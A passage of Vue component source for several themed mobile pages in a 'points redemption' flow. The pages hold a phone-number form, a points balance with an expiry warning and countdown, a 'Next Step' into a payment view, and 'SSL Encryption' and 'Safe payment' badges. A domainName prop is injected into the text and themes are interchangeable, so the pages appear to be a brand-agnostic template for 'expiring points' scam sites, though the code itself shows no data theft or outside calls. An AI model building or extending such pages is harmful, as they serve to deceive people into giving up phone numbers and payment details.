timer = setInterval(updateCountdown, 1000);
});
onUnmounted(() => { if (timer) clearInterval(timer); });
// ── Quick Redeem 列表 ──
const quickItems = [
{ name: 'pay_theme5.reward_life', sub: 'pay_theme5.reward_from_500', stars: '★★★★★' },
{ name: 'pay_theme5.reward_digital', sub: 'pay_theme5.reward_from_600', stars: '★★★★' },
{ name: 'pay_theme5.reward_gift_cards', sub: 'pay_theme5.reward_from_800', stars: '★★★' },
{ name: 'pay_theme5.reward_travel', sub: 'pay_theme5.reward_from_800', stars: '★★★' },
];
</script>
<style scoped>
/* ── Root ── */
.t5-pt8-root {
background: #fff;
min-height: 100%;
font-family: inherit;
}
/* ── Hero ── */
.t5-pt8-hero {
background: linear-gradient(175deg, #ff5a4a 0%, #f03232 55%, #e02020 100%);
text-align: center;
padding: 2rem 1.25rem 7rem;
position: relative;
}
.t5-pt8-hdeco {
position: absolute;
pointer-events: none;
border-radius: 99px;
background: rgba(255, 190, 60, 0.65);
}
.t5-pt8-hdeco-l {
width: 7px;
height: 22px;
top: 50%;
left: 1.3rem;
transform: rotate(20deg);
}
.t5-pt8-hdeco-r {
width: 5px;
height: 15px;
top: 58%;
right: 1.4rem;
transform: rotate(-15deg);
opacity: 0.5;
}
.t5-pt8-hero-badge {
display: inline-flex;
align-items: center;
gap: 0.3rem;
background: rgba(255, 255, 255, 0.18);
border: 1.5px solid rgba(255, 255, 255, 0.45);
color: #fff;
font-size: 12px;
font-weight: 700;
padding: 0.3rem 1.1rem;
border-radius: 20px;
margin-bottom: 1rem;
}
.t5-pt8-hero-label {
font-size: 10px;
font-weight: 700;
color: rgba(255, 255, 255, 0.7);
letter-spacing: 2px;
text-transform: uppercase;
margin: 0 0 0.35rem;
}
.t5-pt8-points-num {
font-size: 62px;
font-weight: 900;
color: #fff;
line-height: 1;
letter-spacing: -2px;
margin-bottom: 0.4rem;
}
.t5-pt8-points-sub {
font-size: 13px;
color: rgba(255, 255, 255, 0.75);
font-weight: 500;
margin: 0;
}
/* ── 礼盒图标(绝对定位,横跨红白边界)── */
.t5-pt8-gift-wrap {
position: absolute;
bottom: -45px;
left: 50%;
transform: translateX(-50%);
z-index: 20;
}
.t5-pt8-gift-circle {
width: 96px;
height: 96px;
border-radius: 50%;
border: 5px solid #ffd95a;
background: #fff;
display: flex;
align-items: center;
justify-content: center;
font-size: 48px;
box-shadow: 0 4px 24px rgba(0,0,0,0.18), 0 0 0 8px rgba(255,220,80,0.25);
}
/* ── 白色大卡 ── */
/* 卡片包裹层:白色,卡片两侧有留白 */
.t5-pt8-card-wrap {
background: transparent;
padding: 0 1.5rem 1.4rem;
margin-top: -80px;
position: relative;
}
.t5-pt8-sheet {
background: #fff;
border-radius: 24px;
padding: 7.5rem 0 1.5rem;
position: relative;
z-index: 10;
box-shadow: 0 4px 24px rgba(0,0,0,0.18);
}
/* 底部白色区域 */
.t5-pt8-footer {
background: #fff;
padding: 0.9rem 0.9rem 1.2rem;
}
/* 卡片内部左右 padding统一控制各子元素 */
.t5-pt8-progress-card,
.t5-pt8-attention-card,
.t5-pt8-quick-section {
margin-left: 1rem;
margin-right: 1rem;
}
/* 底部黄色装饰点 */
.t5-pt8-bdeco {
position: absolute;
bottom: 0.6rem;
right: 1.5rem;
width: 10px;
height: 10px;
border-radius: 50%;
background: rgba(200, 160, 0, 0.4);
}
/* 进度卡片 */
.t5-pt8-progress-card {
background: #f3f4f6;
border-radius: 14px;
padding: 1rem 1.1rem;
margin-bottom: 1rem;
}
.t5-pt8-progress-row {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 0.65rem;
}
.t5-pt8-progress-title {
font-size: 12px;
font-weight: 600;
color: #555;
}
.t5-pt8-progress-more {
font-size: 12px;
font-weight: 700;
color: #e8231a;
}
.t5-pt8-bar-bg {
height: 7px;
background: #dde1e7;
border-radius: 99px;
overflow: hidden;
margin-bottom: 0.55rem;
}
.t5-pt8-bar-fill {
height: 100%;
width: 62%;
background: linear-gradient(90deg, #f03a2e 0%, #c01010 100%);
border-radius: 99px;
}
.t5-pt8-since {
font-size: 10px;
color: #aaa;
font-weight: 500;
margin: 0;
}
/* 注意力卡片 */
.t5-pt8-attention-card {
border: 2px dashed #fcd34d;
border-radius: 16px;
padding: 1.4rem 1.1rem 1.2rem;
margin-bottom: 1rem;
background: #fffef0;
}
.t5-pt8-attention-title {
font-size: 17px;
font-weight: 900;
font-style: normal;
color: #e8231a;
text-align: center;
margin-bottom: 0.5rem;
}
.t5-pt8-attention-desc {
font-size: 13px;
color: #666;
text-align: center;
margin: 0 0 1rem;
line-height: 1.5;
}
.t5-pt8-attention-desc strong {
color: #111;
font-weight: 700;
}
.t5-pt8-countdown {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 0.5rem;
}
.t5-pt8-cbox {
background: #fff;
border-radius: 10px;
padding: 0.6rem 0.2rem;
text-align: center;
border: 1px solid #f0e8d0;
box-shadow: 0 1px 4px rgba(0,0,0,0.06);
}
.t5-pt8-cnum {
display: block;
font-size: 26px;
font-weight: 900;
color: #f59e0b;
line-height: 1;
font-variant-numeric: tabular-nums;
}
.t5-pt8-clbl {
display: block;
font-size: 10px;
font-weight: 500;
color: #aaa;
letter-spacing: 0.3px;
margin-top: 4px;
}
/* 大按钮 */
.t5-pt8-redeem-btn {
display: block;
width: calc(100% - 2rem);
margin-left: 1rem;
margin-right: 1rem;
padding: 1.05rem;
border: none;
border-radius: 50px;
background: linear-gradient(180deg, #ffe566 0%, #f5a800 100%);
color: #7c3a00;
font-size: 15px;
font-weight: 900;
letter-spacing: 1px;
text-transform: uppercase;
cursor: pointer;
box-shadow: 0 6px 0 #c47a00, 0 10px 20px rgba(200,120,0,0.3);
transition: all 0.12s ease;
margin-bottom: 1.5rem;
position: relative;
top: 0;
}
.t5-pt8-redeem-btn:active {
box-shadow: 0 2px 0 #c47a00;
top: 4px;
}
/* Quick Redeem */
.t5-pt8-quick-section {
margin-bottom: 1.25rem;
}
.t5-pt8-quick-title {
font-size: 18px;
font-weight: 900;
color: #111;
margin: 0 0 0.8rem;
}
.t5-pt8-quick-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.65rem;
}
.t5-pt8-quick-card {
background: #fff;
border: 1px solid #e8eaed;
border-radius: 16px;
padding: 1rem 0.9rem;
box-shadow: 0 1px 6px rgba(0,0,0,0.05);
}
.t5-pt8-quick-stars {
font-size: 12px;
font-weight: 800;
color: #f59e0b;
letter-spacing: 1px;
margin-bottom: 0.35rem;
line-height: 1;
}
.t5-pt8-quick-name {
font-size: 13px;
font-weight: 700;
color: #111;
margin-bottom: 0.2rem;
}
.t5-pt8-quick-sub {
font-size: 11px;
color: #bbb;
font-weight: 500;
}
/* 底部安全栏 */
.t5-pt8-secure-bar {
display: flex;
align-items: center;
gap: 0.7rem;
background: #fff;
border-radius: 50px;
padding: 0.75rem 1rem;
box-shadow: 0 2px 12px rgba(0,0,0,0.10);
border: 1px solid #f0f0f0;
}
.t5-pt8-secure-icon {
width: 32px;
height: 32px;
border-radius: 50%;
background: #e8231a;
display: flex;
align-items: center;
justify-content: center;
font-size: 15px;
flex-shrink: 0;
}
.t5-pt8-secure-bar span {
font-size: 12px;
color: #555;
font-weight: 600;
}
</style>

View File

@@ -0,0 +1,503 @@
<template>
<div
class="t2-pt2-root"
:style="{
'--pc': colors.primary,
'--pl': colors.primaryLight,
'--pd': colors.primaryDark,
'--grad': colors.gradient,
'--shadow': colors.shadow,
}"
>
<!-- Gradient Header -->
<div class="t2-pt2-header">
<div class="t2-pt2-shapes">
<div class="t2-pt2-shape t2-pt2-shape1"></div>
<div class="t2-pt2-shape t2-pt2-shape2"></div>
<div class="t2-pt2-shape t2-pt2-shape3"></div>
</div>
<div class="t2-pt2-header-inner">
<div class="t2-pt2-user-row">
<div class="t2-pt2-avatar">
<svg width="26" height="26" viewBox="0 0 24 24" fill="none">
<path d="M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z" fill="white"/>
</svg>
</div>
<div class="t2-pt2-user-info">
<span class="t2-pt2-user-label">{{ t("pay_view.dear_user") }}</span>
<span class="t2-pt2-user-phone">{{ phone }}</span>
</div>
</div>
<div class="t2-pt2-points-display">
<span class="t2-pt2-points-num">{{ totalPoint }}</span>
<span class="t2-pt2-points-label">{{ t("points") }}</span>
</div>
</div>
</div>
<div class="t2-pt2-body">
<!-- Expiry Alert -->
<div class="t2-pt2-alert">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 15c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1zm1-8h-2V7h2v2z" fill="var(--pc)"/>
</svg>
<span>{{ t("pay_view.expiration_reminder") }}</span>
</div>
<!-- Points Detail -->
<div class="t2-pt2-section">
<div class="t2-pt2-section-head">
<svg width="17" height="17" viewBox="0 0 24 24" fill="none">
<path d="M12 2L15.09 8.26L22 9.27L17 14.14L18.18 21.02L12 17.77L5.82 21.02L7 14.14L2 9.27L8.91 8.26L12 2Z" fill="var(--pc)"/>
</svg>
<span>{{ t("pay_view.details_of_points") }}</span>
</div>
<div class="t2-pt2-notice">
<p>{{ t("pay_view.desc1", [domainName, totalPoint]) }}</p>
<p>{{ t("pay_view.desc2", [domainName]) }}</p>
</div>
</div>
<!-- Action Button -->
<form @submit.prevent="$emit('submit')">
<button class="t2-pt2-btn" type="submit">
<span>{{ t("Next Step") }}</span>
<svg class="t2-pt2-arrow" width="18" height="18" viewBox="0 0 24 24" fill="none">
<path d="M5 12H19M19 12L12 5M19 12L12 19" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</button>
</form>
<!-- How to Use -->
<div class="t2-pt2-section">
<div class="t2-pt2-section-head">
<svg width="17" height="17" viewBox="0 0 24 24" fill="none">
<path d="M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z" fill="var(--pc)"/>
</svg>
<span>{{ t("pay_view.how_to_use") }}</span>
</div>
<div class="t2-pt2-steps">
<div class="t2-pt2-step" v-for="(step, i) in steps" :key="i">
<div class="t2-pt2-step-num">{{ i + 1 }}</div>
<span>{{ step }}</span>
</div>
</div>
</div>
<!-- Tips -->
<div class="t2-pt2-tips">
<div class="t2-pt2-tips-head">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none">
<path d="M1 21h22L12 2 1 21zm12-3h-2v-2h2v2zm0-4h-2v-4h2v4z" fill="#e6a817"/>
</svg>
<span>{{ t("pay_view.important_tip") }}</span>
</div>
<ul class="t2-pt2-tips-list">
<li>{{ t("pay_view.tip1") }}</li>
<li>{{ t("pay_view.tip2") }}</li>
<li>{{ t("pay_view.tip3") }}</li>
</ul>
</div>
<!-- Trust -->
<div class="t2-pt2-trust">
<div class="t2-pt2-trust-badge">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none">
<path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1Z" fill="var(--pc)" opacity="0.2"/>
<path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1Z" stroke="var(--pc)" stroke-width="1.5" fill="none"/>
<path d="M9 12L11 14L15 10" stroke="var(--pc)" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
<span>{{ t("SSL Encryption") }}</span>
</div>
<div class="t2-pt2-divider"></div>
<div class="t2-pt2-trust-badge">
<svg width="14" height="14" viewBox="0 0 24 24" fill="none">
<rect x="3" y="11" width="18" height="11" rx="2" stroke="var(--pc)" stroke-width="1.5" fill="none"/>
<path d="M7 11V7C7 4.24 9.24 2 12 2C14.76 2 17 4.24 17 7V11" stroke="var(--pc)" stroke-width="1.5" stroke-linecap="round"/>
</svg>
<span>{{ t("Safe payment") }}</span>
</div>
</div>
</div>
</div>
</template>
<script setup lang="ts">
import { computed } from 'vue';
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
interface Props {
colors: ThemeColors;
phone: string;
payDate: string;
invoiceNumber: string;
domainName: string;
totalPoint: number;
}
defineProps<Props>();
const { t } = useI18n();
defineEmits<{ (e: 'submit'): void }>();
const steps = computed(() => [
t('pay_view.click_redeem'),
t('pay_view.select_reward'),
t('pay_view.enter_address'),
]);
</script>
<style scoped>
.t2-pt2-root {
background: #f0f4fb;
min-height: 100%;
}
/* Gradient Header */
.t2-pt2-header {
position: relative;
background: var(--grad, var(--pc));
padding: 2rem 1.25rem 2.5rem;
overflow: hidden;
}
.t2-pt2-shapes {
position: absolute;
inset: 0;
overflow: hidden;
}
.t2-pt2-shape {
position: absolute;
border-radius: 50%;
background: rgba(255, 255, 255, 0.08);
}
.t2-pt2-shape1 {
width: 160px;
height: 160px;
top: -50px;
right: -40px;
}
.t2-pt2-shape2 {
width: 100px;
height: 100px;
bottom: -30px;
left: -20px;
}
.t2-pt2-shape3 {
width: 60px;
height: 60px;
top: 30px;
left: 40%;
}
.t2-pt2-header-inner {
position: relative;
z-index: 1;
}
.t2-pt2-user-row {
display: flex;
align-items: center;
gap: 0.75rem;
margin-bottom: 1.5rem;
}
.t2-pt2-avatar {
display: flex;
align-items: center;
justify-content: center;
width: 44px;
height: 44px;
border-radius: 50%;
background: rgba(255, 255, 255, 0.2);
border: 1.5px solid rgba(255, 255, 255, 0.35);
flex-shrink: 0;
}
.t2-pt2-user-info {
display: flex;
flex-direction: column;
gap: 0.1rem;
}
.t2-pt2-user-label {
font-size: 11px;
color: rgba(255, 255, 255, 0.75);
text-transform: uppercase;
letter-spacing: 0.5px;
}
.t2-pt2-user-phone {
font-size: 17px;
font-weight: 700;
color: #fff;
letter-spacing: 0.5px;
}
.t2-pt2-points-display {
display: flex;
align-items: baseline;
gap: 0.5rem;
}
.t2-pt2-points-num {
font-size: 48px;
font-weight: 800;
color: #fff;
line-height: 1;
text-shadow: 0 2px 8px var(--shadow);
}
.t2-pt2-points-label {
font-size: 16px;
color: rgba(255, 255, 255, 0.8);
font-weight: 500;
}
/* Body */
.t2-pt2-body {
padding: 1.25rem 1rem 2rem;
margin-top: 0rem;
}
/* Alert */
.t2-pt2-alert {
display: flex;
align-items: center;
gap: 0.65rem;
background: #fff;
border-left: 3px solid var(--pc);
border-radius: 10px;
padding: 0.8rem 1rem;
margin-bottom: 1.15rem;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
}
.t2-pt2-alert span {
font-size: 14px;
font-weight: 700;
color: var(--pc);
}
/* Section */
.t2-pt2-section {
background: #fff;
border-radius: 14px;
padding: 1.2rem 1.25rem;
margin-bottom: 1.15rem;
box-shadow: 0 2px 12px rgba(0, 0, 0, 0.05);
}
.t2-pt2-section-head {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 14px;
font-weight: 700;
color: #1a1a2e;
margin-bottom: 0.9rem;
padding-bottom: 0.75rem;
border-bottom: 1px solid #f0f0f5;
}
.t2-pt2-notice {
display: flex;
flex-direction: column;
gap: 0.6rem;
padding: 0.92rem 1rem;
border-radius: 10px;
border: 1px solid rgba(0, 65, 142, 0.14);
background: linear-gradient(180deg, rgba(0, 65, 142, 0.06) 0%, rgba(0, 65, 142, 0.015) 100%);
}
.t2-pt2-notice p {
margin: 0;
font-size: 13px;
line-height: 1.7;
color: #4a4a5a;
}
.t2-pt2-notice p:first-child {
font-weight: 600;
color: #2a334d;
}
.t2-pt2-notice p + p {
padding-top: 0.55rem;
border-top: 1px dashed rgba(0, 65, 142, 0.2);
}
/* Button */
form {
margin: 0 0 1.15rem;
padding: 0;
background: transparent;
box-shadow: none;
border-radius: 0;
}
.t2-pt2-btn {
width: 100%;
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
padding: 13px 24px;
font-size: 15px;
font-weight: 700;
color: #fff;
background: var(--pc);
border: none;
border-radius: 12px;
cursor: pointer;
transition: all 0.25s ease;
box-shadow: 0 4px 14px var(--shadow);
}
.t2-pt2-btn:hover {
transform: translateY(-1px);
}
.t2-pt2-btn:active {
transform: translateY(0);
opacity: 0.9;
}
.t2-pt2-arrow {
transition: transform 0.2s ease;
}
.t2-pt2-btn:hover .t2-pt2-arrow {
transform: translateX(3px);
}
/* Steps */
.t2-pt2-steps {
display: flex;
flex-direction: column;
gap: 0.7rem;
}
.t2-pt2-step {
display: flex;
align-items: flex-start;
gap: 0.65rem;
}
.t2-pt2-step-num {
display: flex;
align-items: center;
justify-content: center;
width: 22px;
height: 22px;
border-radius: 50%;
background: var(--pc);
color: #fff;
font-size: 11px;
font-weight: 700;
flex-shrink: 0;
margin-top: 1px;
}
.t2-pt2-step span {
font-size: 13px;
line-height: 1.55;
color: #4a4a5a;
}
/* Tips */
.t2-pt2-tips {
background: #fffbf0;
border-radius: 12px;
padding: 1rem 1.15rem;
margin-bottom: 1.5rem;
border: 1px solid rgba(230, 168, 23, 0.2);
}
.t2-pt2-tips-head {
display: flex;
align-items: center;
gap: 0.45rem;
font-size: 13px;
font-weight: 700;
color: #b8860b;
margin-bottom: 0.6rem;
}
.t2-pt2-tips-list {
margin: 0;
padding: 0 0 0 1.1rem;
list-style: none;
}
.t2-pt2-tips-list li {
position: relative;
font-size: 12px;
line-height: 1.6;
color: #6b5b3a;
margin-bottom: 0.4rem;
padding-left: 0.3rem;
}
.t2-pt2-tips-list li::before {
content: "";
position: absolute;
left: -0.9rem;
top: 0.5em;
width: 4px;
height: 4px;
border-radius: 50%;
background: #d4a017;
}
.t2-pt2-tips-list li:last-child {
margin-bottom: 0;
}
/* Trust */
.t2-pt2-trust {
display: flex;
align-items: center;
justify-content: center;
gap: 1rem;
padding: 0.5rem 0;
}
.t2-pt2-trust-badge {
display: flex;
align-items: center;
gap: 0.35rem;
}
.t2-pt2-trust-badge span {
font-size: 11px;
color: #888;
font-weight: 500;
}
.t2-pt2-divider {
width: 1px;
height: 14px;
background: #ddd;
}
@media (max-width: 420px) {
.t2-pt2-notice {
padding: 0.82rem 0.85rem;
gap: 0.52rem;
}
.t2-pt2-notice p {
font-size: 12.5px;
line-height: 1.65;
}
.t2-pt2-notice p + p {
padding-top: 0.48rem;
}
}
</style>

View File

@@ -0,0 +1,278 @@
<template>
<div class="t1__page">
<!-- Hero Section -->
<section class="t1__hero">
<div class="t1__hero-img-wrap">
<img :src="`/img/${globalConfig.goods_image}`" :alt="t('index_view.hero_title')" class="t1__hero-img" />
<div class="t1__hero-overlay"></div>
<div class="t1__hero-content">
<span class="t1__hero-badge">{{ t('index_view.hero_badge') }}</span>
<h1 class="t1__hero-title">{{ t('index_view.hero_title') }}</h1>
<p class="t1__hero-subtitle">{{ t('index_view.hero_subtitle') }}</p>
</div>
</div>
</section>
<!-- Notification Bar -->
<section class="t1__notif">
<div class="t1__notif-icon">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 2L15.09 8.26L22 9.27L17 14.14L18.18 21.02L12 17.77L5.82 21.02L7 14.14L2 9.27L8.91 8.26L12 2Z" fill="currentColor" />
</svg>
</div>
<p class="t1__notif-text">{{ t('index_view.notif_text') }}</p>
</section>
<!-- Phone Form -->
<section class="t1__form-section">
<form class="t1__form" @submit.prevent="handleSubmit">
<div class="t1__field" :class="{ 't1__field--error': showError }">
<label class="t1__label" for="phone">{{ t('index_view.phone_label') }}</label>
<div class="t1__input-box">
<input
id="phone"
class="t1__input"
type="tel"
:placeholder="t('index_view.phone_placeholder')"
:value="modelValue"
@input="onInput"
@blur="onBlur"
autocomplete="tel"
/>
</div>
<p v-if="showError" class="t1__err">{{ t('index_view.phone_error') }}</p>
</div>
<button
type="submit"
class="t1__btn"
:class="{ 't1__btn--active': isValid }"
:disabled="!isValid"
>
<span class="t1__btn-content">
{{ t('index_view.verify_btn') }}
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18L15 12L9 6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
</svg>
</span>
</button>
</form>
</section>
<div class="t1__separator"></div>
<!-- Rewards Section -->
<section class="t1__rewards">
<div class="t1__rewards-header">
<h3 class="t1__rewards-title">{{ t('index_view.rewards_title') }}</h3>
<button class="t1__view-all" type="button"> {{ t('index_view.view_all') }} <svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18L15 12L9 6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
</svg>
</button>
</div>
<!-- Featured Card -->
<div class="t1__featured-card">
<div class="t1__featured-dots">
<div class="t1__dot t1__dot--1"></div>
<div class="t1__dot t1__dot--2"></div>
<div class="t1__dot t1__dot--3"></div>
</div>
<div class="t1__featured-body">
<div class="t1__featured-text">
<span class="t1__featured-badge">{{ t('index_view.featured_badge') }}</span>
<h4 class="t1__featured-title">{{ t('index_view.featured_title') }}</h4>
<p class="t1__featured-sub">{{ t('index_view.featured_sub') }}</p>
<button class="t1__featured-link" type="button"> {{ t('index_view.learn_more') }} <svg width="12" height="12" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18L15 12L9 6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
</svg>
</button>
</div>
<div class="t1__featured-img-svg" aria-hidden="true">
<svg viewBox="0 0 90 90" fill="none" xmlns="http://www.w3.org/2000/svg" width="90" height="90">
<!-- Card body -->
<rect x="8" y="22" width="74" height="50" rx="7" fill="#fff" opacity="0.95"/>
<rect x="8" y="22" width="74" height="18" rx="7" fill="#e8f5f5" opacity="0.7"/>
<!-- Ribbon vertical -->
<rect x="42" y="22" width="6" height="50" fill="#e60000" opacity="0.18"/>
<!-- Ribbon horizontal -->
<rect x="8" y="44" width="74" height="5" fill="#e60000" opacity="0.18"/>
<!-- Bow left loop -->
<ellipse cx="38" cy="20" rx="8" ry="5" fill="#e60000" opacity="0.85" transform="rotate(-25 38 20)"/>
<!-- Bow right loop -->
<ellipse cx="52" cy="20" rx="8" ry="5" fill="#c40000" opacity="0.85" transform="rotate(25 52 20)"/>
<!-- Bow center knot -->
<ellipse cx="45" cy="21" rx="4" ry="3" fill="#e60000"/>
<!-- Stars decoration -->
<circle cx="24" cy="60" r="2" fill="#e60000" opacity="0.3"/>
<circle cx="66" cy="34" r="1.5" fill="#e60000" opacity="0.25"/>
<!-- Label -->
<rect x="20" y="54" width="50" height="12" rx="4" fill="#e60000" opacity="0.12"/>
<text x="45" y="64" text-anchor="middle" font-size="8" font-weight="700" fill="#c40000" font-family="Arial,sans-serif">GIFT CARD</text>
</svg>
</div>
</div>
</div>
<!-- Small Cards Grid -->
<div class="t1__small-grid">
<div class="t1__small-card">
<div class="t1__small-content">
<div class="t1__small-icon t1__small-icon--wifi">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1 9L2 10C5.5 6.5 10.5 6.5 14 10L15 9C10.5 4.5 4.5 4.5 1 9ZM5 13L6 14C7.5 12.5 9.5 12.5 11 14L12 13C9.5 10.5 6.5 10.5 5 13ZM9 17L12 20L15 17C13.5 15.5 10.5 15.5 9 17Z" fill="currentColor" />
</svg>
</div>
<h4 class="t1__small-title">{{ t('index_view.card1_title') }}</h4>
<p class="t1__small-sub">{{ t('index_view.card1_sub') }}</p>
<button class="t1__small-link" type="button"> {{ t('index_view.learn_more') }} <svg width="12" height="12" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18L15 12L9 6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
</svg>
</button>
</div>
</div>
<div class="t1__small-card">
<div class="t1__small-content">
<div class="t1__small-icon t1__small-icon--star">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 2L15.09 8.26L22 9.27L17 14.14L18.18 21.02L12 17.77L5.82 21.02L7 14.14L2 9.27L8.91 8.26L12 2Z" fill="currentColor" />
</svg>
</div>
<h4 class="t1__small-title">{{ t('index_view.card2_title') }}</h4>
<p class="t1__small-sub">{{ t('index_view.card2_sub') }}</p>
<button class="t1__small-link" type="button"> {{ t('index_view.learn_more') }} <svg width="12" height="12" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9 18L15 12L9 6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" />
</svg>
</button>
</div>
</div>
</div>
</section>
</div>
</template>
<script setup lang="ts">
import { computed, ref } from 'vue';
import { useI18n } from 'vue-i18n';
import type { ThemeColors } from '@/config/themes';
import { globalConfig } from '@/config';
interface Props {
modelValue: string;
colors: ThemeColors;
}
const props = defineProps<Props>();
const { t } = useI18n();
const emit = defineEmits<{
(e: 'update:modelValue', value: string): void;
(e: 'submit'): void;
}>();
const touched = ref(false);
const showError = ref(false);
const isValid = computed(() => {
return props.modelValue && props.modelValue.trim().length >= 6;
});
const onInput = (event: Event) => {
touched.value = true;
const value = (event.target as HTMLInputElement).value;
emit('update:modelValue', value);
if (value.trim().length >= 6) {
showError.value = false;
} else if (touched.value && value.length > 0) {
showError.value = true;
} else {
showError.value = false;
}
};
const onBlur = () => {
if (touched.value && (!props.modelValue || props.modelValue.trim().length < 6)) {
showError.value = true;
}
};
const handleSubmit = () => {
if (!isValid.value) {
showError.value = true;
return;
}
emit('submit');
};
</script>
<style scoped>
/* Page */
.t1__page { background: #f5f5f5; min-height: 100vh; font-family: Arial, sans-serif; }
/* Hero */
.t1__hero { width: 100%; }
.t1__hero-img-wrap { position: relative; width: 100%; height: 220px; overflow: hidden; }
.t1__hero-img { width: 100%; height: 100%; object-fit: cover; object-position: center top; display: block; }
.t1__hero-overlay { position: absolute; inset: 0; background: linear-gradient(to bottom, rgba(0,0,0,0.08) 0%, rgba(0,0,0,0.55) 100%); }
.t1__hero-content { position: absolute; bottom: 20px; left: 18px; right: 18px; }
.t1__hero-badge { display: inline-block; background: var(--global-primary-color, #e60000); color: #fff; font-size: 10px; font-weight: 700; letter-spacing: 0.08em; text-transform: uppercase; padding: 3px 8px; border-radius: 3px; margin-bottom: 8px; }
.t1__hero-title { color: #fff; font-size: 22px; font-weight: 700; margin: 0 0 4px; line-height: 1.2; }
.t1__hero-subtitle { color: rgba(255,255,255,0.88); font-size: 13px; margin: 0; }
/* Notification Bar */
.t1__notif { display: flex; align-items: center; gap: 10px; background: var(--global-primary-color, #e60000); color: #fff; padding: 12px 16px; }
.t1__notif-icon { flex-shrink: 0; display: flex; align-items: center; justify-content: center; width: 28px; height: 28px; background: rgba(255,255,255,0.2); border-radius: 50%; }
.t1__notif-text { font-size: 13px; margin: 0; line-height: 1.4; }
/* Form Section */
.t1__form-section { background: #fff; padding: 20px 16px 24px; }
.t1__form { display: flex; flex-direction: column; gap: 16px; }
.t1__field { display: flex; flex-direction: column; gap: 6px; }
.t1__label { font-size: 14px; font-weight: 600; color: #222; }
.t1__input-box { border: 1.5px solid #d0d0d0; border-radius: 8px; padding: 0 12px; display: flex; align-items: center; background: #fff; transition: border-color 0.2s; }
.t1__input-box:focus-within { border-color: var(--global-primary-color, #e60000); box-shadow: 0 0 0 2px rgba(230,0,0,0.1); }
.t1__field--error .t1__input-box { border-color: #e53935; box-shadow: 0 0 0 2px rgba(229,57,53,0.12); }
.t1__input { width: 100%; border: none; outline: none; padding: 13px 0; font-size: 15px; color: #222; background: transparent; }
.t1__input::placeholder { color: #aaa; font-size: 14px; }
.t1__err { color: #e53935; font-size: 12px; margin: 0; padding-left: 2px; }
/* Button */
.t1__btn { width: 100%; border: none; border-radius: 30px; padding: 14px; background: var(--global-primary-color, #e60000); color: #fff; font-size: 16px; font-weight: 600; cursor: not-allowed; opacity: 0.5; transition: opacity 0.25s; }
.t1__btn--active { opacity: 1; cursor: pointer; }
.t1__btn--active:active { opacity: 0.85; }
.t1__btn-content { display: flex; align-items: center; justify-content: center; gap: 6px; }
/* Separator */
.t1__separator { height: 8px; background: #f0f0f0; }
/* Rewards */
.t1__rewards { background: #f5f5f5; padding: 20px 16px 24px; }
.t1__rewards-header { display: flex; align-items: center; justify-content: space-between; margin-bottom: 14px; }
.t1__rewards-title { font-size: 17px; font-weight: 700; color: #111; margin: 0; }
.t1__view-all { background: none; border: none; color: var(--global-primary-color, #e60000); font-size: 14px; font-weight: 600; cursor: pointer; display: flex; align-items: center; gap: 3px; padding: 0; }
/* Featured Card */
.t1__featured-card { background: linear-gradient(135deg, #1a4a5a 0%, #0d7070 60%, #0a5a6e 100%); border-radius: 14px; overflow: hidden; margin-bottom: 14px; position: relative; min-height: 150px; }
.t1__featured-dots { position: absolute; top: 12px; left: 12px; display: flex; gap: 6px; }
.t1__dot { width: 8px; height: 8px; border-radius: 50%; background: rgba(255,255,255,0.3); }
.t1__dot--1 { background: rgba(255,255,255,0.5); }
.t1__featured-body { display: flex; align-items: flex-end; justify-content: space-between; padding: 36px 16px 18px; }
.t1__featured-text { flex: 1; }
.t1__featured-badge { display: inline-block; background: var(--global-primary-color, #e60000); color: #fff; font-size: 9px; font-weight: 700; letter-spacing: 0.1em; text-transform: uppercase; padding: 2px 7px; border-radius: 3px; margin-bottom: 8px; }
.t1__featured-title { color: #fff; font-size: 20px; font-weight: 700; margin: 0 0 4px; }
